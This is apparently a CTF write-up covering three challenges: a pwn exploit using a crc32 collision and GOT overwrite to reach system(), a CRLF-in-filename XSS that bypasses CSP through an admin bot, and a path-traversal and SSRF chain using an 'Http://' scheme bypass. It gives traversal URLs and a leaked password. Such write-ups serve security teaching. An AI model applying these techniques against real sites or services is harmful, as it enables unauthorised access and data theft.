Read memory checks if the user-created map exists, and then asks for an offset to start printing the data from.
Write memory does the same thing as read memory except it writes data into the map.
The vulnerability lies in the fact that crc32 is used for creating the user map, and because for lengths of 4 or less we can make crc32 output any arbitrary number, and because we know the addresses of the copy maps, we can manipulate allocate memory to create a map in the same place as one of the copy maps, allowing us to arbitrarily read and write to it.
I chose to modify the binary's .data
copy map, which is always the first one to be printed out(simplifiying the exploit a bit,since i won't have to figure out how to find the map i want).
My first exploit idea was to leak the libc base address, then change one of the libc functions to a magic gadget, unfortunately that didn't work as none of the magic gadget's constraints fit.
While trying that i stumbled upon another problem, the fact that it crashed on calling memcpy@plt
. After a quick investigation i found out that because the copy was created while in the middle of calling memcpy
, the GOT entry for memcpy
was incorrect, so i had to manually "restore" it, the same principle applies to all the functions that weren't called until after the copy was created (which will be relevant later).

My second attempt was trying to overwrite one of the GOT entries with system()
. After searching around in the code for a bit i found the perfect function to do it with. That being strlen
because it fits multiple criteria:
- It's called in only one place, that being inside of the allocate memory switch case.
- It's called with user-controllable data
- It can be called on-demand
At first i only modified the GOT entries for memcpy
and strlen
, but that crashed on remote, so i assumed that the same issue as with memcpy could happen to other libc functions, so i painstakingly rebuilt the GOT for all the library functions called on the path from load_maps
to strlen
. It also just refused to work once in a few tries,but oh well it's reliable enough.
Web/warmup-revenge
There are hidden files that are not shown on the website navbar like download.php
which will help download files uploaded on the board when writing articles and report.php
which will report a link to the admin bot to visit. This is the code for download.php
:
First thing to note is that we have an IDOR that let us access to any file to download having it's ID and some kind of CRLF that would let us overwrite the content-disposition
header making the response an inline page with the content of the file to download instead of downloading the file and not showing it's content on the page making XSS possible.
We could overwrite the header if we include a carriage return \r
and some characters after it like asdf\rjunk.html
The board.php
is letting us upload files as attachment in the article and it's taking the filename as it is making CRLF possible:
We also have a CSP
This CSP would let us include scripts from same domain a simple bypass would be to upload first a file containing the javascript code to execute then another file to include that js code from the download.php
page.
So first request would be:
We could get the uploaded file from: http://58.225.56.195/download.php?idx=975
Now we upload the second file with the return carriage in its name to load the first file as a script. \r is replaced with the carriage return in the below request because doing url encode didn't work correctly so I needed to change hex of request in burpsuite to inject the carriage return.

The above uploaded file coulod be accessed from: http://58.225.56.195/download.php?idx=976
Reporting the final file to admin will get us the flag using the following link: http://58.225.56.195/report.php?path=download.php&idx=976

Web/mosaic
We can upload some image files or zip files to the server.
We could then access the uploaded file using the /mosaic
endpoint which will provide a mosaic version of uploade image passing its name in the input.
At first having that the flag is at the root of the server.
Following this code, we were trying to upload a zip file containing a symlink to /flag.png
and then access it with the following syntax that imageio.imread supports we thought: "./file.zip/flag.png" or "./file.zip#flag.png". But that didn't work.

However there is a path traversal on the /check_upload/
endpoint (an endpoint that would read any file).
Using the path traversal and knowing that the admin password is stored in ../uploads/password.txt
we could pass in a username of ../
and the file password.txt
to read it: http://58.229.185.52:9999/check_upload/@../password.txt
The password was: 2c3c519aa578fed9391ba8e1d40ce746412970ed7088be40b2046f28047a611f
. Now we can login as admin!
If we access the root of the website being admin and from localhost the server will copy the flag into admin user directory.
Then the /mosaic
endpoint seems to have a blind SSRF.
The check for startswith("http://")
could be bypassed using Http://
as a protcol.
So we could use that SSRF to copy flag image into admin directory using: Http://localhost:9999/#test.png the test.png
is used to bypass file type check for images. The flag is then placed to current directory however it will get deteled after some seconds. Being lazy, I haven't scripted anything but I opened another tab with the url http://58.229.185.52:9999/check_upload/@admin/flag.png and after letting admin enter root of website I would go to that tab quickly and hit enter to get the flag

Then using an iphone to quickly dump text from image and submit the flag :joy: